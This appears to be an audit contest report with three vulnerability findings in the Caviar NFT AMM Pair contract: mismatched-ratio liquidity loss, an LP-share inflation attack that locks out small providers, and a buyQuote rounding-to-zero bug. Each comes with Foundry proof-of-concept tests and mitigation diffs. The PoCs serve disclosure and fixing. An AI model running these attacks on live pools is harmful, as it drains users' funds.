Caviar contest - hihen's results

Lines of code

https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L63-L99

Vulnerability details

Impact

Users have a high risk of losing fund while providing liquidity.

If a user calls Pair.add() and the ratio of baseTokenAmount and fractionalTokenAmount supplied does not match the reserves ratio of the Pair, the user will loses tokens.

The loss is beyond the user's control, as the reserves in the Pair be changed by buy(), sell(), nftBuy(), nftSell(), or token/ETH transfer at any time before the transaction execution.

Proof of Concept

Let r = baseTokenReserves() / fractionalTokenReserves() for a Pair with nonzero liquidity.

When executing Pair.add(uint256 baseTokenAmount, uint256 fractionalTokenAmount, uint256 minLpTokenAmount):

• if baseTokenAmount/fractionalTokenAmount > r, the user will lose base token(including ETH).
• if baseTokenAmount/fractionalTokenAmount < r, the user will lose fractional token.

This is because the lpTokenAmount is calculated with the less part, see addQuote():

return Math.min(baseTokenShare, fractionalTokenShare);

But both of the baseTokenAmount and fractionalTokenAmount will be transferred entirely.

Test code for PoC:

diff --git a/test/PoC.t.sol b/test/PoC.t.sol
new file mode 10064
index 0000000..2dbd374
--- /dev/null
+++ b/test/PoC.t.sol
@@ -0,0 +1,62 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.17;
+
+import "./shared/Fixture.t.sol";
+
+contract POC is Fixture {
+    uint256[] public nftList1;
+    uint256[] public nftList2;
+    bytes32[][] public proofs;
+
+    address public user1 = address(0xa1);
+    address public user2 = address(0xa2);
+
+    function setUp() public {
+        for (uint256 i = 0; i < 5; i++) {
+            bayc.mint(user1, i);
+            nftList1.push(i);
+            bayc.mint(user2, i+10);
+            nftList2.push(i+10);
+        }
+        deal(address(usd), user1, 1000*1e18, true);
+        deal(address(usd), user2, 1000*1e18, true);
+
+        vm.startPrank(user1);
+        bayc.setApprovalForAll(address(p), true);
+        usd.approve(address(p), type(uint256).max);
+        changePrank(user2);
+        bayc.setApprovalForAll(address(p), true);
+        usd.approve(address(p), type(uint256).max);
+        vm.stopPrank();
+    }
+
+    function testItLoseInAdd() public {
+        assertEq(usd.balanceOf(address(user1)), 1000*1e18, "init fund");
+        assertEq(usd.balanceOf(address(user2)), 1000*1e18, "init fund");
+
+        // user1 add 100 USD + 5 NFT
+        vm.prank(user1);
+        p.nftAdd(100*1e18, nftList1, 0, proofs);
+        assertEq(usd.balanceOf(address(user1)), 900*1e18, "100 USD are transferred");
+
+        // user2 add (100+900) USD + 5 NFT
+        vm.prank(user2);
+        p.nftAdd(1000*1e18, nftList2, 0, proofs);
+        assertEq(usd.balanceOf(address(user2)), 0, "all 1000 USD are tranfferd");
+
+        // user1 and user2 have the same amount of lp tokens
+        uint256 lpAmount = lpToken.balanceOf(address(user1));
+        assertEq(lpAmount, lpToken.balanceOf(address(user2)));
+
+        // remove all
+        vm.startPrank(user1);
+        p.nftRemove(lpAmount, 0, nftList1);
+        changePrank(user2);
+        p.nftRemove(lpAmount, 0, nftList2);
+
+        //!! user1 wins
+        assertEq(usd.balanceOf(address(user1)), 1450*1e18, "user1 wins 450 USD");
+        //!! user2 loses
+        assertEq(usd.balanceOf(address(user2)), 550*1e18, "user2 loses 450 USD");
+    }
+}

Test output:

Running 1 test for test/PoC.t.sol:POC
[PASS] testItLoseInAdd() (gas: 470022)
Test result: ok. 1 passed; 0 failed; finished in 5.76ms

Tools Used

VS Code

Recommended Mitigation Steps

diff --git a/src/Pair.sol b/src/Pair.sol
index 185d25c..e13ce1f 100644
--- a/src/Pair.sol
+++ b/src/Pair.sol
@@ -56,26 +56,27 @@ contract Pair is ERC20, ERC721TokenReceiver {
     // ***********************  //
 
     /// @notice Adds liquidity to the pair.
-    /// @param baseTokenAmount The amount of base tokens to add.
-    /// @param fractionalTokenAmount The amount of fractional tokens to add.
+    /// @param maxBaseTokenAmount The amount of base tokens to add.
+    /// @param maxFractionalTokenAmount The amount of fractional tokens to add.
     /// @param minLpTokenAmount The minimum amount of LP tokens to mint.
     /// @return lpTokenAmount The amount of LP tokens minted.
-    function add(uint256 baseTokenAmount, uint256 fractionalTokenAmount, uint256 minLpTokenAmount)
+    function add(uint256 maxBaseTokenAmount, uint256 maxFractionalTokenAmount, uint256 minLpTokenAmount)
         public
         payable
-        returns (uint256 lpTokenAmount)
+        returns (uint256)
     {
         // *** Checks *** //
 
         // check the token amount inputs are not zero
-        require(baseTokenAmount > 0 && fractionalTokenAmount > 0, "Input token amount is zero");
+        require(maxBaseTokenAmount > 0 && maxFractionalTokenAmount > 0, "Input token amount is zero");
 
         // check that correct eth input was sent - if the baseToken equals address(0) then native ETH is used
-        require(baseToken == address(0) ? msg.value == baseTokenAmount : msg.value == 0, "Invalid ether input");
+        require(baseToken == address(0) ? msg.value == maxBaseTokenAmount : msg.value == 0, "Invalid ether input");
 
         // calculate the lp token shares to mint
-        lpTokenAmount = addQuote(baseTokenAmount, fractionalTokenAmount);
+        (uint256 lpTokenAmount, uint256 baseTokenAmount, uint256 fractionalTokenAmount) = addQuote(maxBaseTokenAmount, maxFractionalTokenAmount);
 
+        require(lpTokenAmount > 0, "0 LP");
         // check that the amount of lp tokens outputted is greater than the min amount
         require(lpTokenAmount >= minLpTokenAmount, "Slippage: lp token amount out");
 
@@ -93,9 +94,13 @@ contract Pair is ERC20, ERC721TokenReceiver {
         if (baseToken != address(0)) {
             // transfer base tokens in
             ERC20(baseToken).safeTransferFrom(msg.sender, address(this), baseTokenAmount);
+        } else if (maxBaseTokenAmount > baseTokenAmount) {
+            // refund surplus eth
+            msg.sender.safeTransferETH(maxBaseTokenAmount - baseTokenAmount);
         }
 
         emit Add(baseTokenAmount, fractionalTokenAmount, lpTokenAmount);
+        return lpTokenAmount;
     }
 
     /// @notice Removes liquidity from the pair.
@@ -411,19 +416,35 @@ contract Pair is ERC20, ERC721TokenReceiver {
     /// @notice The amount of lp tokens received for adding a given amount of base tokens and fractional tokens.
     /// @dev Calculated as a share of existing deposits. If there are no existing deposits, then initializes to
     ///      sqrt(baseTokenAmount * fractionalTokenAmount).
-    /// @param baseTokenAmount The amount of base tokens to add.
-    /// @param fractionalTokenAmount The amount of fractional tokens to add.
+    /// @param maxBaseTokenAmount The max amount of base tokens to add.
+    /// @param maxFractionalTokenAmount The max amount of fractional tokens to add.
     /// @return lpTokenAmount The amount of lp tokens received.
-    function addQuote(uint256 baseTokenAmount, uint256 fractionalTokenAmount) public view returns (uint256) {
+    /// @return baseTokenAmount The max amount of base tokens to add.
+    /// @return fractionalTokenAmount The amount of fractional tokens to add.
+    function addQuote(uint256 maxBaseTokenAmount, uint256 maxFractionalTokenAmount)
+        public
+        view
+        returns (uint256 lpTokenAmount, uint256 baseTokenAmount, uint256 fractionalTokenAmount)
+    {
         uint256 lpTokenSupply = lpToken.totalSupply();
         if (lpTokenSupply > 0) {
             // calculate amount of lp tokens as a fraction of existing reserves
-            uint256 baseTokenShare = (baseTokenAmount * lpTokenSupply) / baseTokenReserves();
-            uint256 fractionalTokenShare = (fractionalTokenAmount * lpTokenSupply) / fractionalTokenReserves();
-            return Math.min(baseTokenShare, fractionalTokenShare);
+            uint256 baseTokenShare = (maxBaseTokenAmount * lpTokenSupply) / baseTokenReserves();
+            uint256 fractionalTokenShare = (maxFractionalTokenAmount * lpTokenSupply) / fractionalTokenReserves();
+            if (baseTokenShare <= fractionalTokenShare) {
+                lpTokenAmount = baseTokenShare;
+                baseTokenAmount = maxBaseTokenAmount;
+                fractionalTokenAmount = lpTokenAmount * fractionalTokenReserves() / lpTokenSupply;
+            } else {
+                lpTokenAmount = fractionalTokenShare;
+                fractionalTokenAmount = maxFractionalTokenAmount;
+                baseTokenAmount = lpTokenAmount * baseTokenReserves() / lpTokenSupply;
+            }
         } else {
             // if there is no liquidity then init
-            return Math.sqrt(baseTokenAmount * fractionalTokenAmount);
+            lpTokenAmount = Math.sqrt(maxBaseTokenAmount * maxFractionalTokenAmount);
+            baseTokenAmount = maxBaseTokenAmount;
+            fractionalTokenAmount = maxFractionalTokenAmount;
         }
     }

Lines of code

https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L63 https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L417-L428

Vulnerability details

Impact

A malicious user can make a pair infeasible for small liquidity providers to provide any liquidity. For new hot NFTs, the whales will be able to capture all the benefits of LP by preventing others to be liquidity providers.

Proof of Concept

Uniswap v2 prevents LP attacks from whale users by burning the first MINIMUM_LIQUIDITY pool tokens.

Refer to uniswap docs - Minimum Liquidity:

To ameliorate rounding errors and increase the theoretical minimum tick size for liquidity provision, pairs burn the first MINIMUM_LIQUIDITY pool tokens.

Refer to uniswap whitepaper:

However, it is possible for the value of a liquidity pool share to grow over time, either by accumulating trading fees or through “donations” to the liquidity pool. In theory, this could result in a situation where the value of the minimum quantity of liquidity pool shares (1e-18 pool shares) is worth so much that it becomes infeasible for small liquidity providers to provide any liquidity. To mitigate this, Uniswap v2 burns the first 1e-15 (0.000000000000001) pool shares that are minted (1000 times the minimum quantity of pool shares), sending them to the zero address instead of to the minter. This should be a negligible cost for almost any token pair. But it dramatically increases the cost of the above attack. In order to raise the value of a liquidity pool share to $100, the attacker would need to donate $100,000 to the pool, which would be permanently locked up as liquidity.

However, caviar Pair does not provide this protection.

Test code for PoC:

diff --git a/test/POC.t.sol b/test/POC.t.sol
new file mode 100644
index 0000000..0390fc5
--- /dev/null
+++ b/test/POC.t.sol
@@ -0,0 +1,47 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.17;
+
+import "./shared/Fixture.t.sol";
+
+contract POC is Fixture {
+    uint256[] public tokenIds;
+    bytes32[][] public proofs;
+
+    function setUp() public {
+        for (uint256 i = 0; i < 100; i++) {
+            bayc.mint(address(this), i);
+            tokenIds.push(i);
+        }
+        bayc.setApprovalForAll(address(p), true);
+
+        deal(address(usd), address(this), 100e4 * 1e18, true);
+        usd.approve(address(p), type(uint256).max);
+    }
+
+    function testItExclusiveLP() public {
+        p.wrap(tokenIds, proofs);
+
+        // provide 1wei lp
+        uint256 lpAmount = p.add(1, 1, 0);
+        assertEq(lpAmount, 1, "1wei LP");
+
+        // make lp token very expensive
+        p.transfer(address(p), 100 * 1e18 - 1);
+        usd.transfer(address(p), 100 * 1e4 * 1e18 - 1);
+
+        assertEq(p.price(), 10000 * 1e18, "NFT price");
+        assertEq(lpToken.totalSupply(), 1, "Total supply of LP token is 1");
+
+        //!! most users will not be able to provide liquidity
+        assertEq(p.addQuote(1e4 * 1e18, 1 * 1e18), 0, "10k USD + 1 NFT is not enough to be a LP");
+        assertEq(p.addQuote(99e4 * 1e18, 99 * 1e18), 0, "990k USD + 99 NFT is not enough to be a LP");
+
+        //!! only whales can provide liquidity
+        assertEq(p.addQuote(100e4 * 1e18, 100 * 1e18), 1, "1m USD + 100 NFT is enough to be a LP");
+
+        // whale can get all tokens back
+        p.nftRemove(1, 0, tokenIds);
+        assertEq(usd.balanceOf(address(this)), 100e4 * 1e18, "Withdraw all USD");
+        assertEq(bayc.balanceOf(address(this)), 100, "Withdraw all NFT");
+    }
+}

Test output:

Running 1 test for test/POC.t.sol:POC
[PASS] testItExclusiveLP() (gas: 2022377)
Test result: ok. 1 passed; 0 failed; finished in 11.65ms

Tools Used

VS Code

Recommended Mitigation Steps

Consider one of these two options:

1. Adopted implementation of uniswap v2, but instead of burning the MINIMUM_LIQUIDITY, transfer it to the caviar.owner()(for recovery when the pair needs to clean).
2. Keep checking the total supply of lpToken in add() and remove():

diff --git a/src/Pair.sol b/src/Pair.sol
index 185d25c..a4f06c0 100644
--- a/src/Pair.sol
+++ b/src/Pair.sol
@@ -17,6 +17,8 @@ contract Pair is ERC20, ERC721TokenReceiver {
     using SafeTransferLib for address;
     using SafeTransferLib for ERC20;

+    uint public constant MINIMUM_LIQUIDITY = 10**3;
+
     uint256 public constant ONE = 1e18;
     uint256 public constant CLOSE_GRACE_PERIOD = 7 days;

@@ -75,6 +77,7 @@ contract Pair is ERC20, ERC721TokenReceiver {

         // calculate the lp token shares to mint
         lpTokenAmount = addQuote(baseTokenAmount, fractionalTokenAmount);
+        require(lpTokenAmount >= MINIMUM_LIQUIDITY, "MINIMUM_LIQUIDITY");

         // check that the amount of lp tokens outputted is greater than the min amount
         require(lpTokenAmount >= minLpTokenAmount, "Slippage: lp token amount out");
@@ -109,6 +112,8 @@ contract Pair is ERC20, ERC721TokenReceiver {
         returns (uint256 baseTokenOutputAmount, uint256 fractionalTokenOutputAmount)
     {
         // *** Checks *** //
+        uint256 lpRemain = lpToken.totalSupply() - lpTokenAmount;
+        require(lpRemain >= MINIMUM_LIQUIDITY || lpRemain == 0, "MINIMUM_LIQUIDITY");

         // calculate the output amounts
         (baseTokenOutputAmount, fractionalTokenOutputAmount) = removeQuote(lpTokenAmount);

Lines of code

https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L147 https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L398-L400

Vulnerability details

Impact

Liquidity providers will lose fractional tokens.

Proof of Concept

In Pair.buy(uint256 outputAmount, uint256 maxInputAmount) public payable returns (uint256 inputAmount), the inputAmount is calculated by Pair.buyQuote(uint256 outputAmount):

function buyQuote(uint256 outputAmount) public view returns (uint256) {
    return (outputAmount * 1000 * baseTokenReserves()) / ((fractionalTokenReserves() - outputAmount) * 997);
}

According to the above formula, we can derive that the inputAmount will be 0 if the provided outputAmount satisfies outputAmount < 997 * fractionalTokenReserves() /(1000*base + 997)

Tools Used

VS Code

Recommended Mitigation Steps

Should require(inputAmount > 0) in Pair.buy()

Should use the UP rounding in Pair.buyQuote().